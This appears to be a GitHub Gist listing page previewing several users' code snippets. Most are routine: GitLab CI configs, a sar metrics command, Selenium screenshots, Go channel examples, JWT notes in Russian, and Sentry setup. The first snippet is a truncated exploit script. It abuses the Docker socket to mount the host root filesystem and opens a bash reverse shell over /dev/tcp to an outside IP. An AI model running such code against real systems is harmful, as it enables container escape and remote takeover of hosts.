Skip to content

Instantly share code, notes, and snippets.

@PwnPeter
PwnPeter / exploit-docker-sock.sh
Created December 6, 2020 16:30
Exploit docker.sock to mount root filesystem in a container
#!/bin/bash
# you can see images availables with
# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
# here we have sandbox:latest
# command executed when container is started
# change dir to tmp where the root fs is mount and execute reverse shell
cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.14.30/12348 0<&1'\\\"\"]"
@aarongorka
aarongorka / gitlab_dag_diagram.py
Last active April 30, 2021 12:33
Prints a PlantUML diagram that shows the DAG of the GitLab pipeline
#!/usr/bin/env python3
"""Prints a PlantUML diagram that shows the DAG of the GitLab pipeline"""
import sys
import yaml
from pprint import pprint
def merge(user, default):
if isinstance(user,dict) and isinstance(default,dict):
for k,v in default.items():
@t3easy
t3easy / .gitlab-ci.yml
Last active June 14, 2024 11:45
Build and deploy docker containers with GitLab CI
image: an-image-with-docker-and-docker-compose
variables:
DOCKER_TLS_VERIFY: "1"
DOCKER_CERT_PATH: ".docker"
before_script:
- mkdir -p $DOCKER_CERT_PATH
- echo "$DOCKER_CA" > $DOCKER_CERT_PATH/ca.pem
- echo "$DOCKER_CERT" > $DOCKER_CERT_PATH/cert.pem
@polarnik
polarnik / sar_to_file.sh
Created March 3, 2018 09:26
Запуск sar из пакета sysstat
# за 20-30 минут до начала прогрузки запустить сбор всех метрик (-A)
# с частотой раз в 10 сек, на 6 часов: 6 * 60 * 60 / 10 == 2160 циклов сбора метрики
timestamp=`date "+%s"`; nohup sar -A -o sar_`hostname`_${timestamp}.out 10 2160 &
# через 6 часов, полученный файл можно сразу переконвертировать в формат csv
LC_ALL=C sar -A -f sar_`hostname`_${timestamp}.out > sar_`hostname`_${timestamp}.csv
@prog
prog / .gitlab-ci.yml
Created December 14, 2017 07:30
How to use composer (php) including cache with gitlab-ci
build:install-vendor:
stage: build
image: <any-image-with-composer>
before_script:
- composer config -g cache-dir "$(pwd)/.composer-cache"
script:
- composer install --ignore-platform-reqs --no-dev --optimize-autoloader --no-ansi --no-interaction --no-progress
cache:
paths:
- .composer-cache/
@rverton
rverton / chrome_headless_screenshot.py
Created July 10, 2017 08:53
Make a screenshot with a headless google chrome in python
# Install chromedriver from https://sites.google.com/a/chromium.org/chromedriver/downloads
import os
from optparse import OptionParser
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
CHROME_PATH = '/usr/bin/google-chrome'
@casualjim
casualjim / channel_example_test.go
Created July 9, 2017 05:12
examples of golang context and channels
package channel
import (
"fmt"
"sync"
"time"
)
func ExampleUnbufferedSend() {
c1 := make(chan string)
@tsailiming
tsailiming / Screen Shot 2017-03-12 at 11.11.22 PM.png
Last active September 28, 2020 17:00
Configuring ldap with Ansible Tower 3.0.3
Screen Shot 2017-03-12 at 11.11.22 PM.png
@zmts
zmts / tokens.md
Last active July 22, 2024 18:25
Про токены, JSON Web Tokens (JWT), аутентификацию и авторизацию. Token-Based Authentication

Про токены, JSON Web Tokens (JWT), аутентификацию и авторизацию. Token-Based Authentication

Last major update: 25.08.2020

  • Что такое авторизация/аутентификация
  • Где хранить токены
  • Как ставить куки ?
  • Процесс логина
  • Процесс рефреш токенов
  • Кража токенов/Механизм контроля токенов
@RabbitMC
RabbitMC / Sentry-Install-Ubuntu-16-04
Last active February 24, 2023 06:01
Setup sentry on Ubuntu 16.04 server
# Project: https://github.com/getsentry/sentry
# Doc: https://docs.getsentry.com/on-premise/server/installation/python/
udo apt-get update
sudo apt-get install python-virtualenv
sudo apt-get install python-setuptools
sudo apt-get install python-pip
sudo apt-get install libxslt1-dev
sudo apt-get install gcc